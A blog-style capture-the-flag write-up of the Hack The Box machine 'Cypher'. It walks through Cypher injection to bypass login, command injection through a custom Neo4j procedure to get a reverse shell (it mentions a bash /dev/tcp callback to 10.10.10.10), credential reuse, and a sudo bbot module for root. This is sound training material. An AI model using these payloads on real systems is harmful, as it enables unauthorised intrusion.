At the time I beat it, Cypher was my favourite box! All of the steps needed manual exploitation, requiring some not-so-superficial research, with just enough information to go on. No CVEs, no GTFObins, but not hard to work out either, it is a great step up if you want your hand at a harder-than-easy machine. I guess that’s why they rated it medium. Huh.
Test web app
Discovered login form is vulnerable to Cypher injection
Bypass authentication
Obtained access to application via Cypher injection
Enumerate web server
Discovered and decompiled custom database procedure by content bruteforce
RCE via command injection
Obtained RCE via unsanitised shell command in custom procedure
Foothold
Discovered credentials in site configuration and reused them to log into SSH as user graphasm
Enumerate permissions
Discovered that graphasm
can run bbot
as root via sudo
Privilege escalation
Abused python module feature in bbot
to gain root shell via sudo
Meat Beat Manifesto’s “Prime Audio Soup” on
We always start with nmap
, and the results for Linux machines on HTB are usually the same: we have open HTTP and SSH ports. The website tries to sell you some “proprietary graph technology”, and my poor VM on a laptop complained about the background animation eating up all its cycles.
There’s a login page, and the usual guesses for bad credentials don’t work. Next up in our checklist is subdirectory bruteforcing, and aside from the pages we already could reach by browsing the site, we find an otherwise unreachable testing
page:
A bigger wordlist doesn’t find anything else, and neither does a virtual host bruteforce attempt. A quick fuzz of the api
endpoint with API-related wordlists also comes up empty, so we turn our attention to the testing
page we discovered, and find a directory listing with a single downloadable custom-apoc-extension-1.0-SNAPSHOT.jar
file inside.
Unpacking this file shows a few Java classes we can try to decompile, but until we do that there’s not much else of interest, aside from discovering the version of Neo4j that this extension requires for whatever it is that it does:
A compulsory search for vulnerabilities on that version didn’t find anything. I didn’t look further into the JAR yet, because I thought I first needed to get past the authentication on the site and was not convinced that the file had anything to do with that.
At this point we could fairly assume that a Neo4j database was backing the site’s functionality, so maybe it handled the authentication as well. The default Neo4j credentials (neo4j:neo4j
) also don’t get us anywhere, but we can get a bit creative before moving on if nothing works. I tried a simple SQL injection payload, ' or 1=1; --
, on the username and password, and an error message briefly popped up on the site. Ha!
There are more things in life than just SQL
I checked the response in Burp, and indeed it looked like we could do something with this (note that I did all this in Burp, because I’m not insane, but I’ve turned these into (valid) curl
calls for illustration):
So clearly our input is being placed in the middle of a query without sanitisation, opening it up to injection. Looking at the query itself, we confirm that we are dealing with Neo4j and its query language Cypher, which you might remember from it being used in our trusty BloodHound.
Being both lazy and an idiot, I actually tried throwing SQLmap at this. It “surprisingly” told me that the parameter wasn’t injectable, though I clearly saw that it was, but it eventually dawned on me that SQLmap’s thing is SQL, not Cypher. I found out later that there’s a cyphermap, so we’ll give that a spin next time. But at this point I decided to try to figure this out manually.
Looking at that query again, it’s looking up a user by name and returning their linked SHA1 “secret”. Our password will therefore probably be hashed and the result compared with this secret, to determine whether we can login or not. So:
- we can affect the query to some degree;
- whatever we do, the result of it will probably be compared with the password we passed;
- the password we passed will be hashed with SHA1.
Considering all this, we need to make the query return a value that we control, and pass the same value through the password field, making the login logic let us through.
First, we choose a password, and get its SHA1 checksum:
Next, we work on the payload for the username. We’re going to keep the ' or 1=1
start, hoping to select some user. We’ll want to end the payload with an inline comment, which in Cypher is represented by //
, to discard the end of the existing query and make our lives easier generating a valid new one. But we want our new query to be very similar, except we want to return our hashed password. All put together, our payload should look like this:
… which will result in the following query:
Together with 1
for password, great success:
Using those “credentials” on the login form (or setting the cookie in our session and refreshing the page), we are finally inside the demo application.
A more secondary Matrix character
Once inside, the page allows us to enter a Cypher query, by selecting from a list of presets or typing it out, and runs it on its database, presenting textual results and a graph representation that looks cool but as far as I can tell is otherwise useless. Like many things in 2025, actually, but maybe I’m just old and grumpy.
I found a great reference on Cypher, both to understand the query language but also potential exploitation avenues. The “Select All” preset query does show literally everything, but without knowing what any of it is, it’s not the most helpful. Turning to the reference and to the authentication query we discovered early, we slightly modify it to list all users and their SHA1 secrets, with MATCH (u:USER) -[:SECRET]-> (h:SHA1) return u, h
. It turns out there’s a single user, graphasm
, which is us right now. We excitedly throw the SHA1 hash at hashcat
, but…
I tried Crackstation as well for good measure, but still no dice. I went back to the Cypher reference I mentioned earlier, to see what else I could glean from the system by using queries. As I skimmed through the index on the right, the APOC library entry stood out. Remember the JAR file we found earlier? custom-apoc-extension
. OK, what’s this about?
From the docs, “The APOC Core library provides access to user-defined procedures and functions which extend the use of the Cypher query language”. Neo(4j), Cypher and APOC? Not too subtle :). Anyway, it’s clearly time to decompile the Java classes we found in the JAR file earlier!
There’s plenty of apps out there to do this, but I was in a hurry so I used an online one, which is fine for this purpose. Looking at the decompiled “CustomFunctions.java” we see the definition of a procedure, with the most important chunk of it being the following:
So:
- we have a procedure called
custom.getUrlStatusCode
; - it takes a URL as a parameter;
- it appends that URL to the end of a parametrised call to
curl
through/bin/sh
; - it executes the
/bin/sh
command on the system.
It looks like whoever wrote all these apps didn’t care much for sanitisation, this time opening up the door to a command injection. It should be possible to call this procedure with a payload that adds another system command after the irrelevant call to curl
, like a reverse shell call.
I spent more time here than I should have, but I’ll spare you most of the troubles. I won’t spare you the lessons learned, though, because that’s what we’re here for. The first “lesson” is to read things more carefully. The first payload I tried to use was my go-to bash
reverse shell:
Because the command in Java was already using the -c
parameter, I limited the payload to the bash -i ...
call. This failed to the point of me assuming that the system didn’t have bash
installed, and moving on to the payload I’ll describe later. It was only when writing this up that I realised that the Java code is calling sh, not bash. sh
has no idea what /dev/tcp/10.10.10.10/1234
means, as that is a bash
construct, so this couldn’t work. The payload does work if it includes the bash -c ...
call, to ensure that the rest is interpreted by bash
. You’ll just need to URL-encode the &
characters.
Speaking of which, the other lesson learned is to watch your URL-encoded payloads closely, and/or to rely less on Burp Repeater when you can have an easier time submitting your payload directly on the application. Some strange characters made their way into my payload, causing it to fail and causing me to waste time until I decoded the payload as a sanity-check.
All those struggles aside, let’s get back to the task at hand. Looking back at our Cypher reference, these procedures are called in the following format: CALL procedureName(parameter) YIELD value RETURN value
. Using the information we gathered above, and after all the struggles, we come to the following payload as an example:
You can literally just paste this on the application’s query bar, no need to mess around in Burp like I did. After setting up a netcat
listener, and executing the query, [hacker voice] we’re in:
A bot called BBOT
We are in but we are not who we want to be yet. Looking in the /home
directory we see we probably want to become graphasm
again:
We also see that we can… also see inside graphasm
’s home directory. Don’t mind if we do… The user flag is protected, but rummaging through the files yields the following:
Are we finally really in? Yes we are:
OK! Now onto privilege escalation. I’m secretly hoping you’re a long-time reader of my write-ups at this point, and that you know what I’m going to say next: id
and sudo -l
. And there’s a reason for it!
Cool, another binary that we can probably subvert to gain root access. I had no idea what bbot
was. Looking at the help menu is usually a good way of figuring that out, but also of finding ways to pass commands to sudo
binaries (like we saw in Dog). I learned that bbot
is an impressive tool for OSINT, but nothing in the help menu stood out in terms of it being obviously abusable for privilege escalation.
The user manual didn’t offer easy options either, unless I missed something, but the developer manual explains how to write a (python) module. It looks like we can make the module do anything, so I wrote the bare-bonesest module to spawn a shell:
Modules are apparently loaded from some default location, which maybe we could write to. But the manual explains how to load modules from custom locations via presets, so picking from different parts of the manual I cobbled together another bare-bones preset yaml file:
And sometimes, just sometimes, bare-bones is all you need:
Roll the credits
- Slow is smooth, and smooth is fast. Letting it hit that I was dealing with Cypher, not SQL, and with
sh
and notbash
, for example, would have saved a lot of time. - Decode and check your URL-encoded payloads sooner rather than later, when they don’t work.
- Tools are great, and we stand on the shoulders of giants, but trust your ability to exploit something manually and to learn a ton in the process.
- As always, for reading this far, you’re a champ.